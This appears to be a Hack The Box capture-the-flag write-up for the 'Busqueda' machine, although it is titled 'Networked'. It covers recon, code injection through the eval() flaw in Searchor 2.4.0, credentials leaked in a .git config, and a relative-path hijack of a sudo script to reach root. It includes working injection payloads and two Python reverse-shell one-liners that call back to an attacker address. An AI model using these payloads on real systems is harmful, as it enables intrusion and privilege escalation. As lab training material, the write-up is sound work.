← HTB writeups

HTB: Networked

Busqueda

A marked easy machine that involves exploiting a python eval statement in Searchor 2.4.0 to gain foothold, finding a gitea server and a .git folder; thus finding cleartext credentials, following which you find some administration scripts. Exploiting said administration scripts leads to root.

Information Gathering

As always, we begin with a comprehensive nmap scan to gather information about the machine.

1sudo nmap -sV -sC -oA report -p- $target -vv --min-rate 10000

The output is as follows:

 1# Nmap 7.97 scan initiated Mon Jul  7 12:37:10 2025 as: nmap -sV -sC -oA report -p- -vv --min-rate 10000 10.129.228.217
 2Increasing send delay for 10.129.228.217 from 0 to 5 due to 870 out of 2899 dropped probes since last increase.
 3Increasing send delay for 10.129.228.217 from 5 to 10 due to 1820 out of 6065 dropped probes since last increase.
 4Increasing send delay for 10.129.228.217 from 20 to 40 due to 496 out of 1651 dropped probes since last increase.
 5Increasing send delay for 10.129.228.217 from 40 to 80 due to 903 out of 3009 dropped probes since last increase.
 6Increasing send delay for 10.129.228.217 from 80 to 160 due to 789 out of 2628 dropped probes since last increase.
 7Nmap scan report for searcher.htb (10.129.228.217)
 8Host is up, received echo-reply ttl 63 (0.099s latency).
 9Scanned at 2025-07-07 12:37:10 BST for 22s
10Not shown: 65533 closed tcp ports (reset)
11PORT   STATE SERVICE REASON         VERSION
1222/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
13| ssh-hostkey:
14|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
15| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIzAFurw3qLK4OEzrjFarOhWslRrQ3K/MDVL2opfXQLI+zYXSwqofxsf8v2MEZuIGj6540YrzldnPf8CTFSW2rk=
16|   256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
17|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPTtbUicaITwpKjAQWp8Dkq1glFodwroxhLwJo6hRBUK
1880/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
19|_http-title: Searcher
20| http-methods:
21|_  Supported Methods: GET HEAD OPTIONS
22| http-server-header:
23|   Apache/2.4.52 (Ubuntu)
24|_  Werkzeug/2.1.2 Python/3.10.6
25Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
26
27Read data files from: /opt/homebrew/bin/../share/nmap
28Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
29# Nmap done at Mon Jul  7 12:37:32 2025 -- 1 IP address (1 host up) scanned in 22.43 seconds

This already reveals to us that the intended route is to exploit the web server first, find credentials and login to the ssh server. Visiting the website, we see the following:

.

Searcher

Interesting to note is the footer which shows the tech stack being used:

Searcher Footer

From the github description: Searchor is an all-in-one PyPi Python Library that simplifies web scraping, obtaining information on an topic, and generating search query URLs. Searchor is an a efficient tool for Python developers, with many web development needs in one, with support of over 100+ Engines and custom engines allowed, making it easy for developers to use for their web programming needs in Python without relying on many third-party dependencies. Furthermore, Searchor has a wide range of support, including command line interface and pip.

Searching on Google for vulnerabilities related to Searchor 2.4.0, we find the very interesting CVE-2023-43364, which tells us that Searchor < 2.4.2 use an eval statement in its code and the query we feed directly goes into the eval statement.

Looking at the PoC GitHub repository, we see that the vulnerable code is as follows:

 1@click.argument("query")
 2def search(engine, query, open, copy):
 3    try:
 4        url = eval( # <<< See here 
 5            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
 6        )
 7        click.echo(url)
 8        searchor.history.update(engine, query, url)
 9        if open:
10            click.echo("opening browser...")

Already alarms are ringing off. eval() is a dangerous function that executes the string passed to it as Python code. This means that if we can control the query parameter, we can execute arbitrary commands on the server. Which we can.

Gaining Foothold

To exploit this vulnerability, craft a very specific payload string that will

  • Close the string
  • Do what we want it to do on the system (i.e. a reverse shell)
  • Concatenate the first string, the system output and then the third empty string to close the eval statement.

The payload we will use, for testing first, is as follows:

1' + __import__('os').system('id') + '

This gives us:

 1@click.argument("query")
 2def search(engine, query, open, copy):
 3    try:
 4        url = eval( # <<< See here 
 5            f"Engine.{engine}.search('' + __import__('os').system('id') + '', copy_url={copy}, open_web={open})"
 6        )
 7        click.echo(url)
 8        searchor.history.update(engine, query, url)
 9        if open:
10            click.echo("opening browser...")

Which gives the output:

Searcher RCE Demo

We now have Remote Code Execution (RCE) on the server. To get a reverse shell, we can use the following payload:

1
2' + __import__('os').system("""export RHOST="<IP ADDRESS>";export RPORT=<PORT>;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'""") + '

Website becomes stuck, and if you have a listener running with the right IP address and port in the payload, you will get a reverse shell.

Reverse Shell

Great! We now have a reverse shell. However, we are still a low privileged user. Now comes the difficult part: Privilege Escalation.

Privilege Escalation

Before we can do that, we need to know what user we are and what we can run as sudo. whoami gives us:

1svc

Not very useful. Let’s check what we can run as sudo:

1sudo -l

And we quickly run into a problem. We don’t have a password and checking sudo -l requires password for even the lower privileged account.

Looking around, we see a scripts folder in /opt/scripts/. Inspecting the contents, we see a bunch of scripts that are execute only. We can’t read, write or execute without sudo.

Scripts Folder

These will come in handy later. For now, let’s look where we landed right after the reverse shell. pwd gives us /var/www/app and running ls -la gives us the following:

lsla

We see a .git folder. Very useful. Let’s look at the config file in the .git folder:

1cat .git/config

Which gives us a very useful piece of the puzzle:

Config

We see that there’s a user called cody and a password attached to it. Just for kicks, let’s try sshing into this server with svc and the password we found in the .git/config file, and we see that it works!

SSH

Following this, we can now run sudo -l and see what we can run as sudo:

sudo -l

Great! Obviously, we can’t read the contents of the scripts so we have no way of understanding how to exploit them. But just for kicks, let’s try running the one script we can run as sudo:

1sudo /usr/bin/python3 /opt/scripts/system-checkup.py *

This shows what arguments are allowed which are:

  • docker-ps
  • docker-inspect
  • full-checkup

Running docker-ps gives us:

Docker PS

Running full-checkup gives us:

Full Checkup

And after viewing the documentation for docker-inspect we craft the following command:

1sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' gitea | jq

The first part is what’s allowed to us. Second part is the what we want to see and the format, third part is the container name. The command after the pipe formats the output to be more readable. The output is as follows:

Docker Inspect

We see database credentials, which we can use to login to the gitea server. Looking back into .git/config file, we see that the gitea server is running on gitea.searcher.htb. So we can login to the gitea server using the credentials we found in the .git/config file as administrator.

Gitea Login

Going over to the scripts repository, we see that they are the same scripts we saw in the /opt/scripts/ folder. We can now read the contents of the scripts and see what they do, and hopefully figure out how to exploit the scripts to get root.

Here’s the contents of the system-checkup.py script:

 1#!/bin/bash
 2import subprocess
 3import sys
 4
 5actions = ['full-checkup', 'docker-ps','docker-inspect']
 6
 7def run_command(arg_list):
 8    r = subprocess.run(arg_list, capture_output=True)
 9    if r.stderr:
10        output = r.stderr.decode()
11    else:
12        output = r.stdout.decode()
13
14    return output
15
16
17def process_action(action):
18    if action == 'docker-inspect':
19        try:
20            _format = sys.argv[2]
21            if len(_format) == 0:
22                print(f"Format can't be empty")
23                exit(1)
24            container = sys.argv[3]
25            arg_list = ['docker', 'inspect', '--format', _format, container]
26            print(run_command(arg_list)) 
27        
28        except IndexError:
29            print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")
30            exit(1)
31    
32        except Exception as e:
33            print('Something went wrong')
34            exit(1)
35    
36    elif action == 'docker-ps':
37        try:
38            arg_list = ['docker', 'ps']
39            print(run_command(arg_list)) 
40        
41        except:
42            print('Something went wrong')
43            exit(1)
44
45    elif action == 'full-checkup':
46        try:
47            arg_list = ['./full-checkup.sh']
48            print(run_command(arg_list))
49            print('[+] Done!')
50        except:
51            print('Something went wrong')
52            exit(1)
53            
54
55if __name__ == '__main__':
56
57    try:
58        action = sys.argv[1]
59        if action in actions:
60            process_action(action)
61        else:
62            raise IndexError
63
64    except IndexError:
65        print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')
66        print('')
67        print('     docker-ps     : List running docker containers')
68        print('     docker-inspect : Inpect a certain docker container')
69        print('     full-checkup  : Run a full system checkup')
70        print('')
71        exit(1)

On first instinct, you may be tempted to mess with the subprocess.run(). However, it receives the commands we pass in the command line as a list, so we can’t inject anything there. However, looking at full-checkup, we see that it runs a script called full-checkup.sh. Even without looking at the contents of the script, we notice one very important thing. The script is specified using relative path (./), i.e relative to where we are at the time of running the script. This means that we can create a script with the same name as in the /opt/scripts/ folder and it will be executed instead of the original script.

This is the full-checkup.sh script that we will create in /home/svc:

1#!/bin/bash
2
3export RHOST="<IP ADDRESS>";export RPORT=<PORT>;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

If you have a netcat listener up and running, run

1sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

And you will get a reverse shell as root!

Root Shell

Conclusion

Overall a very fun machine that involves exploiting an eval statement. I’ll be completely honest, I did refer to the 0xdf write-up every once in a while when I got a stuck because of how green I am. But definitely a good learning machine, especially considering it’s on the TJNull list of machines, a must do for preparing for OSCP!